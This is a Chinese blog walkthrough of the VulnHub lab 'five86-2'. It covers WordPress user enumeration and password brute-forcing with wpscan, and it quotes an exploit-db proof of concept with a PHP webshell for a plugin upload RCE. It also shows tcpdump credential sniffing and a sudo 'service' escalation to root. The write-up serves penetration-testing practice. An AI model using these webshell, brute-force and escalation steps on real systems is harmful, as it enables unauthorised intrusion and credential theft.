VulnHub通关日记-five86-2-Walkthrough

简介

靶机地址:five86: 2 ~ VulnHub
Name:five86_2
靶机介绍:
Five86-2 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

信息搜集

拿到靶机 IP 地址先对它进行端口探测:

1
nmap -A 192.168.0.12

NMAP 扫描出来结果发现靶机只开放了 80 端口,并且使用的 web 是 Wordpress !

我们先打开网站看看把:

1
http://192.168.0.12

这个靶机和我之前玩的 WTF:1 有点类似,打开很卡很卡,加载半天才加载完。而且加载出来的页面是不完整的:

这种情况先使用 Burp 抓包看看响应包里有没有关键的链接:

从上图可以看到它的响应包在请求这个 URL :http://five86-2/wp-includes/css/dist/block-library/style.min.css?ver=5.1.4 ,这个时候我们就可以设置 hosts 文件,把 IP 设置为 five86-2 :

扫描二维码关注公众号,回复: 14140008 查看本文章
1
2
vi /etc/hosts
192.168.0.12	five86-2

修改完 hosts 后我们再来打开网页就一切正常了:

wpscan枚举账号密码

很显然它的 CMS 是 Wordpress 搭建的,我们先上神器 wpscan 来对它进行扫描把:

1
wpscan --url http://192.168.0.12/ -e u

我这边是爆破出它网站的用户有这些:

1
2
3
4
5
admin
barney
gillian
peter
stephen

接下来就是对它网站用户进行枚举,看看能不能爆破几个密码出来,我先是把刚刚扫描出来的用户保存到 user.txt 里:

然后使用 wpscan 对它们进行爆破枚举(前方预警):

我线程设置的是 35 ,爆破了好长时间!!!呜呜呜~~~

1
wpscan --url http://192.168.0.12 -U user.txt -P /usr/share/wordlists/rockyou.txt -t 35

成功枚举出来了两个用户密码:

1
2
barney:spooky1
stephen: apollo1

Wordpress后台插件RCE Getshell

用刚刚枚举出来的用户登陆到网站后台管理,来到插件这里看到一个插件引起了我的注意,接着我去 exploit-db 搜索了一下有关这个插件的漏洞,发现了一个 RCE :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive 
# Date: june 2019
# Exploit Author: xulchibalraa
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip
# Version: 4.2995 <= 4.2997 
# Tested on: Wordpress 5.1.1, PHP 5.6 
# CVE : -


## 1. Create a .zip archive with 2 files: index.html, index.php

echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php 

## 2. Log in to wp-admin with any user role that has access to the plugin functionality (by default even `Contributors` role have access to it)
## 3. Create a new Post -> Select `Add block` -> E-Learning -> Upload the poc.zip -> Insert as: Iframe -> Insert (just like in tutorial https://youtu.be/knst26fEGCw?t=44 ;)
## 4. Access the webshell from the URL displayed after upload similar to 

http://website.com/wp-adm

设置好一个上传我们的 zip 文件到网站的文章页面:

上传完之后 nc 监听 4444 端口 ,访问 index.php 得到一枚 shell :

1
five86-2/wp-content/uploads/articulate_uploads/saul/index.php

之后返回的 shell 不是 bash ,而且还不能清屏,我设置了一下shell和环境变量:

1
2
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=screen

这个时候就是一个 bash 的shell了,而且还可以清屏!

随后我切换到 /home 目录下,发现有很多用户,其中有两个用户是我们之前 wpscan 爆破出来的,我尝试 su 切换到 stephen 用户成功

1
2
su stephen
apollo1

接下来就是权限提升的过程了!我先是看了看定时任务,没得!然后 sudo -l 发现需要密码!

1
2
cat /etc/crontab
sudo -l

随后我看了看该用户可写的文件,无果!(多出来的文件是我之前玩靶机留下的,所以说没有文件)

1
2
find / -writable -type f 2>/dev/null >/tmp/file.txt
grep -Ev '/proc|/sys' /tmp/file.txt 

tcpdump拦截网卡流量获取FTP账号密码

接着我切换到stephen的家目录,然后查看了系统中所有可以用 tcpdump 拦截的网络接口:

1
2
3
4
5
6
7
8
9
getcap -r / 2>/dev/null
关于getcap可以看看这些文章:
http://rk700.github.io/2016/10/26/linux-capabilities/
https://juejin.im/post/5dc1159d5188255f763b8db9
https://www.cnblogs.com/sparkdev/p/11417781.html

tcpdump -D
注释:-D 打印出系统中所有可以用tcpdump截包的网络接口。
关于tcpdump的用法可以看这篇文章:http://www.ha97.com/4550.html

随后我便使用 tcpdump 来检查 veth68d2569 这个网络流量,并保存为 hack.pcap

1
2
3
4
timeout 120 tcpdump -w hack.pcap -i veth68d2569
注释:
timeout 120,是用来控制 tcpdump 的超时时间为 120s
tcpdump -w 保存为 saul.pcap,-i 的意思是指定监听的网络接口

最后读取刚刚获取的数据包发现一个 FTP 账号密码:

1
tcpdump -r hack.pcap

1
2
User:paul
Pass:esomepasswford

拿到账号和密码尝试切换到 paul 用户:

1
su paul

sudo权限提升

切换成功后习惯性的 sudo -l 发现 paul 用户 可以以 peter 身份去运行 /usr/sbin/service !:

接着我使用 sudo 来以 peter 用户去运行 /usr/sbin/service ,并切换到 /bin/bash ,这个时候就成功切换到 peter 用户:

1
sudo -u peter /usr/sbin/service ../../bin/bash

切换到 peter 用户后又是习惯性的 sudo -l 发现 peter 用户可以以 root 身份去 执行 /usr/bin/passwd !

最后我以 peter 用户的身份去重置了 root 用户的密码,最终也是在 /root 目录下拿到 Flag

1
sudo -u root passwd root

交流群:

 微信公众号:

 知识星球:

猜你喜欢

转载自blog.csdn.net/qq_36304918/article/details/124679438